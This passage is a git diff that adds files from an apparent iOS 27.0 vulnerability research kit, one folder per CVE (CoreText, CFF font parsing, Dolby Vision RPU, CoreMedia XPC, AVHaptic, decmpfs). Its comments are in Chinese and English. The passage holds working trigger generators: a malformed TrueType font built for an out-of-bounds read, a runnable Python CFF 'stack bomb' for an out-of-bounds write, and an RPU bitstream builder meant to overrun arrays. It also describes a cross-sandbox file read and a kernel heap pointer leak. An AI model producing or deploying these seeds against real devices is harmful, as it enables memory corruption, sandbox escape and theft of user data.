LC3 解码器输入缓冲溢出 +// memcpy 仅以 mDataByteSize 作为长度,完全不参考输入 vector 的 (begin, end) 容量。27.2 增加 capacity < size 时的拒绝分支。LC3 +// 是蓝牙 LE Audio 的编解码器,其实例化受 com.apple.coreaudio.allow-lc3-codec 授权约束,故崩溃发生在系统音频进程内 —— 与公告所称「系统终止」一致。 +// +// [en] LC3 decoder input buffer overflow +// memcpy uses mDataByteSize as its length and never consults the (begin, end) capacity of the input +// vector. iOS 27.2 adds a capacity < size rejection. LC3 is the Bluetooth LE Audio codec and its +// instantiation is gated by com.apple.coreaudio.allow-lc3-codec, so the crash lands in the system +// audio process — matching the advisory's "system termination". +// ── 判别 / oracle ── +// 这个模块先检查进程是否持有该 entitlement,再尝试构造 LC3 AudioConverter 看内核/框架在哪一层拒绝。无授权时它一定失败,但失败点本身就是有用信息。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112646/CVE-2026-112646.swift b/CVE-2026-112646/CVE-2026-112646.swift new file mode 100644 index 0000000..76acde0 --- /dev/null +++ b/CVE-2026-112646/CVE-2026-112646.swift @@ -0,0 +1,40 @@ +// sb.stash · SpringBoard · SBHomeScreenService · CVE-2026-112646 +// 原语: OOB 写 · 系统进程 · tier 3 +// Primitive: OOB write · system process · tier 3 +// +// [zh] SpringBoard 布局名 stash 校验 +// 27.2 新增 +[SBHomeScreenService _validationErrorForStashedLayoutName:]:拒绝空串、限制长度 ≤ 64、施加字符集白名单,作用于 +// stash/restore 的 XPC 接口。27.0 的该接口不含此层校验。 +// +// [en] SpringBoard stashed layout name validation +// iOS 27.2 adds +[SBHomeScreenService _validationErrorForStashedLayoutName:]: reject empty, cap length +// at 64, apply a character-set allowlist, on the stash/restore XPC interface. The 27.0 interface +// has no such layer. +// ── 判别 / oracle ── +// 应用侧只能看 SpringBoard 服务是否可达、类是否在进程里。真正的入口是 XPC,需要越过沙盒。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112656/CVE-2026-112656.swift b/CVE-2026-112656/CVE-2026-112656.swift new file mode 100644 index 0000000..3fd65fc --- /dev/null +++ b/CVE-2026-112656/CVE-2026-112656.swift @@ -0,0 +1,141 @@ +// font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656 +// 原语: OOB 读 · 进程内 · tier 2 +// Primitive: OOB read · in-process · tier 2 +// +// [zh] GDEFLigatureCaret 追链越界读 +// GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。 +// CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。 +// +// [en] GDEFLigatureCaret offset-chain out-of-bounds read +// GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset +// is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check. +// The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF +// and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset +// against the GDEF table slice. +// ── 判别 / oracle ── +// 种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零 +// caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (FontPayload) ── +enum FontPayload { +static func gdefCaretChase() -> Data { + var tables: [(String, [UInt8])] = [] + + // head + var head = [UInt8](repeating: 0, count: 54) + head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00 + head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00 + head[12] = 0x5F; head[13] = 0x0F // magic + tables.append(("head", head)) + + // hhea + var hhea = [UInt8](repeating: 0, count: 36) + hhea[0] = 0x00; hhea[1] = 0x01 + hhea[34] = 0x00; hhea[35] = 0x00 + tables.append(("hhea", hhea)) + + // maxp + var maxp = [UInt8](repeating: 0, count: 32) + maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00 + maxp[4] = 0x00; maxp[5] = 0x01 + tables.append(("maxp", maxp)) + + // hmtx + tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00])) + + // loca (short format, 2 glyphs) + tables.append(("loca", [0x00, 0x00, 0x00, 0x04])) + + // glyf + tables.append(("glyf", [0x00, 0x00, 0x00, 0x00])) + + // cmap (format 4, minimal) + var cmap = [UInt8]() + cmap += B.be16(0) + B.be16(1) + cmap += B.be16(3) + B.be16(1) + B.be32(12) + cmap += B.be16(4) + B.be16(24) + B.be16(0) + cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0) + cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0) + tables.append(("cmap", cmap)) + + // GDEF with a LigCaretList whose CaretValue offset runs past the table + var gdef = [UInt8]() + gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0 + gdef += B.be16(0x0000) // glyphClassDefOffset — absent + gdef += B.be16(0x0000) // attachListOffset — absent + gdef += B.be16(0x000C) // ligCaretListOffset → 12 + gdef += B.be16(0x0000) // markAttachClassDefOffset — absent + // LigCaretList at 12 + gdef += B.be16(0x000C) // coverageOffset → 24 + gdef += B.be16(0x0001) // ligGlyphCount + gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28 + gdef += B.be16(0x0000) // pad + // Coverage at 24: format 1, glyph 1 + gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001) + // LigGlyph at 28 + gdef += B.be16(0x0001) // caretCount + gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table + tables.append(("GDEF", gdef)) + + // --- assemble + let numTables = UInt16(tables.count) + var header = Data() + header.append(contentsOf: B.be32(0x0001_0000)) + header.append(contentsOf: B.be16(numTables)) + var searchRange: UInt16 = 1 + var entrySelector: UInt16 = 0 + while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 } + searchRange *= 16 + header.append(contentsOf: B.be16(searchRange)) + header.append(contentsOf: B.be16(entrySelector)) + header.append(contentsOf: B.be16(numTables * 16 - searchRange)) + + var body = Data() + var offset = 12 + Int(numTables) * 16 + var records = Data() + var blobs = Data() + for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) { + records.append(contentsOf: B.ascii(tag)) + records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers) + records.append(contentsOf: B.be32(UInt32(offset))) + records.append(contentsOf: B.be32(UInt32(bytes.count))) + var padded = bytes + while padded.count % 4 != 0 { padded.append(0) } + blobs.append(contentsOf: padded) + offset += padded.count + } + body.append(records) + body.append(blobs) + + var out = Data() + out.append(header) + out.append(body) + return out + } + +} + + diff --git a/CVE-2026-112683/CVE-2026-112683.py b/CVE-2026-112683/CVE-2026-112683.py new file mode 100644 index 0000000..8109bfe --- /dev/null +++ b/CVE-2026-112683/CVE-2026-112683.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 +# font.cff · FontParser · charstring 解释器 · CVE-2026-112683 +# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process +# +# [zh] CFF Type2 charstring 操作数栈溢出 +# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护, +# 并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。 +# +# [en] CFF Type2 charstring operand stack overflow +# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the +# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens +# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer. +# +# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py +# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112683.swift +# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder + +import struct + + +# --------------------------------------------------------------------------- CFF stack bomb +def build_cff(): + """ + Bare CFF with one charstring that pushes 300 operands before endchar. + FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array; + 27.0 only bounds the *count* on pop paths, the push path walks past the array. + """ + def index(items): + if not items: + return struct.pack(">H", 0) + off = 1 + offs = [1] + for it in items: + off += len(it) + offs.append(off) + off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4)) + out = struct.pack(">H", len(items)) + bytes([off_size]) + for o in offs: + out += o.to_bytes(off_size, "big") + out += b"".join(items) + return out + + header = bytes([1, 0, 4, 1]) + + name_index = index([b"CinderStackBomb"]) + + # charstring: 300 pushes of 1, then endchar + cs = bytearray() + for _ in range(300): + cs.append(139 + 1) # push small int 1 + cs.append(14) # endchar + charstrings = index([bytes(cs)]) + + gsubrs = index([]) + strings = index([]) + + # Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets. + # Two-pass: build with placeholder of the same byte width, then patch. + def top_dict(cs_off, priv_off, priv_size): + def enc(v): + # DICT operand: 29 => 5-byte integer (fixed width, easy patching) + return b"\x1d" + struct.pack(">i", v) + d = enc(cs_off) + b"\x11" # CharStrings + d += enc(priv_size) + enc(priv_off) + b"\x12" # Private + return d + + placeholder = top_dict(0, 0, 0) + top_index = index([placeholder]) + + priv = b"\x00" # trivial private dict (blueValues absent) + priv_index_data = priv + + # layout: header | name | top | strings | gsubrs | charstrings | private + off = len(header) + len(name_index) + top_off = off + off += len(top_index) + off += len(strings) + off += len(gsubrs) + cs_off = off + off += len(charstrings) + priv_off = off + + top_index = index([top_dict(cs_off, priv_off, len(priv))]) + out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data + return out + + +# --------------------------------------------------------------------------- KTX2 + +if __name__ == "__main__": + import sys + out = sys.argv[1] if len(sys.argv) > 1 else "stack_bomb.cff" + open(out, "wb").write(build_cff()) + print("wrote", out) diff --git a/CVE-2026-112683/CVE-2026-112683.swift b/CVE-2026-112683/CVE-2026-112683.swift new file mode 100644 index 0000000..a00de1e --- /dev/null +++ b/CVE-2026-112683/CVE-2026-112683.swift @@ -0,0 +1,43 @@ +// font.cff · FontParser · charstring 解释器 · CVE-2026-112683 +// 原语: OOB 写 · 进程内 · tier 2 +// Primitive: OOB write · in-process · tier 2 +// +// [zh] CFF Type2 charstring 操作数栈溢出 +// Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的 +// 32 位乘法改为 64 位,同时修正了符号扩展指针。 +// +// [en] CFF Type2 charstring operand stack overflow +// The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop +// path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the +// scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer. +// ── 判别 / oracle ── +// 这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。 +// +// 种子构建器(python,可直接运行): CVE-2026-112683/CVE-2026-112683.py +// runnable python seed builder: CVE-2026-112683/CVE-2026-112683.py + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112688/CVE-2026-112688.swift b/CVE-2026-112688/CVE-2026-112688.swift new file mode 100644 index 0000000..07a0122 --- /dev/null +++ b/CVE-2026-112688/CVE-2026-112688.swift @@ -0,0 +1,122 @@ +// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688 +// 原语: OOB 写 · 系统进程 · tier 2 +// Primitive: OOB write · system process · tier 2 +// +// [zh] Dolby Vision RPU 扩展元数据块数组越界 +// 三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组 +// A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。 +// +// [en] Dolby Vision RPU extension metadata block array overrun +// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing. +// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked +// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register +// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame. +// ── 判别 / oracle ── +// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过), +// 故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。 +// 变体 cm.rpu.sweep: RPU 块数与块类型扫描 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688 +// 原语: OOB 写 · 系统进程 · tier 2 +// Primitive: OOB write · system process · tier 2 +// +// [zh] RPU 块数与块类型扫描 +// 依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。 +// +// [en] RPU block count and block type sweep +// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element +// over capacity up to eight over, recording where the parser starts refusing or terminates. +*/ + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ── +enum RPUPayload { +struct BitWriter { + private(set) var out: [UInt8] = [] + private var acc: UInt8 = 0 + private var nbits = 0 + + mutating func put(_ value: UInt32, _ width: Int) { + guard width > 0 else { return } + for i in stride(from: width - 1, through: 0, by: -1) { + acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1) + nbits += 1 + if nbits == 8 { out.append(acc); acc = 0; nbits = 0 } + } + } + + mutating func putExpGolomb(_ value: UInt32) { + let v = value + 1 + var bits = 0 + while (v >> UInt32(bits)) > 1 { bits += 1 } + for _ in 0.. [UInt8] { + if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 } + return out + } +} + +static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data { + var bw = BitWriter() + bw.put(0x19, 8) // magic, byte 0 + bw.put(2, 6) // rpu_type = 2 (DOVI) + bw.put(0x12, 11) // rpu_format + bw.put(seed & 0x1F, 5) + bw.put(1, 4) // vdr_rpu_profile + bw.put(0, 4) // vdr_rpu_level + bw.put(0, 1) // vdr_seq_info_present_flag + bw.put(1, 1) // chroma_resampling_explicit_filter_flag + bw.put(2, 2) // coefficient_data_type + bw.put(1, 1) // el_spatial_resampling_filter_flag + bw.put(0, 1) // disable_residual_flag + bw.put(0, 4) // nln + bw.put(1, 2) // num_dm_data + // DM data head: class-2 ext block loop + bw.putExpGolomb(UInt32(blockCount)) + for i in 0.. [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112706/CVE-2026-112706.swift b/CVE-2026-112706/CVE-2026-112706.swift new file mode 100644 index 0000000..6d772d2 --- /dev/null +++ b/CVE-2026-112706/CVE-2026-112706.swift @@ -0,0 +1,59 @@ +// cm.fdleak · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706 +// 原语: 信息泄露 · 系统进程 · tier 1 +// Primitive: info leak · system process · tier 1 +// +// [zh] CoreMedia bytestream XPC 跨沙盒文件描述符获取 +// +// [en] CoreMedia bytestream XPC cross-sandbox file descriptor acquisition +// The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed +// third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin +// handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl' +// create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens +// that path with its own credentials without checking either that it lies inside the requesting app's +// container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a +// live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client +// sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land +// in the app container. +// ── 判别 / oracle ── +// 变体 cm.fdleak.boundary: 跨沙盒可读域边界测绘 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// cm.fdleak.boundary · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706 +// 原语: 探测 · 系统进程 · tier 2 +// Primitive: probe · system process · tier 2 +// +// [zh] 跨沙盒可读域边界测绘 +// +// [en] Cross-sandbox readable domain boundary mapping +// Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code +// is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens, +// exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves +// the negative results on record — a target that was refused and a target that was never tested are +// entirely different conclusions. +*/ + + + diff --git a/CVE-2026-113907/CVE-2026-113907.swift b/CVE-2026-113907/CVE-2026-113907.swift new file mode 100644 index 0000000..af633d3 --- /dev/null +++ b/CVE-2026-113907/CVE-2026-113907.swift @@ -0,0 +1,57 @@ +// aud.haptic · AudioToolbox · AVHapticServerInstance · CVE-2026-113907 +// 原语: OOB 写 · 系统进程 · tier 2 +// Primitive: OOB write · system process · tier 2 +// +// [zh] AVHaptic 自定义音频事件格式校验 +// createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。 +// 该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。 +// +// [en] AVHaptic custom audio event format validation +// On 27.0 createCustomAudioEvent neither validates the ASBD nor compares frames×bytesPerFrame against +// the actual waveform byte count. iOS 27.2 adds both checks. The XPC server side of this interface +// lives in the CoreHaptics server process. +// ── 判别 / oracle ── +// 通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。 +// 变体 aud.immersive: 沉浸式渲染数据反序列化容量缺失 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// aud.immersive · AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize · CVE-2026-113907 +// 原语: OOB 写 · 系统进程 · tier 2 +// Primitive: OOB write · system process · tier 2 +// +// [zh] 沉浸式渲染数据反序列化容量缺失 +// 反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2, +// 将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。 +// +// [en] Immersive renderer data deserialisation capacity gap +// The count and dataByteSize taken off the wire are compared only against "how much is left on the +// wire", never against "how much the destination buffer holds", producing a linear heap overflow +// inside the audio server process. iOS 27.2 adds ReadImmersiveRendererDataV1/V2, folds destination +// capacity into the check, and adds a version 1..3 validity gate. +*/ + + + diff --git a/CVE-2026-113910/CVE-2026-113910.swift b/CVE-2026-113910/CVE-2026-113910.swift new file mode 100644 index 0000000..046fce5 --- /dev/null +++ b/CVE-2026-113910/CVE-2026-113910.swift @@ -0,0 +1,41 @@ +// kern.decmpfs · XNU · AppleFSCompressionTypeZlib · CVE-2026-113910 +// 原语: 信息泄露 · 内核 · tier 2 +// Primitive: info leak · kernel · tier 2 +// +// [zh] decmpfs 分块解压欠产出 → 内核堆泄露 +// 分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。 +// 27.2 补入该比对。 +// +// [en] decmpfs chunked decompression under-produce → kernel heap disclosure +// When chunked zlib decompression produces fewer bytes than expected, 27.0 does not compare produced +// against expected, so the tail of the kernel page buffer is left unwritten; read() then hands the +// whole buffer back to the app, which receives stale heap content. iOS 27.2 adds that comparison. +// ── 判别 / oracle ── +// 这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描, +// 凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 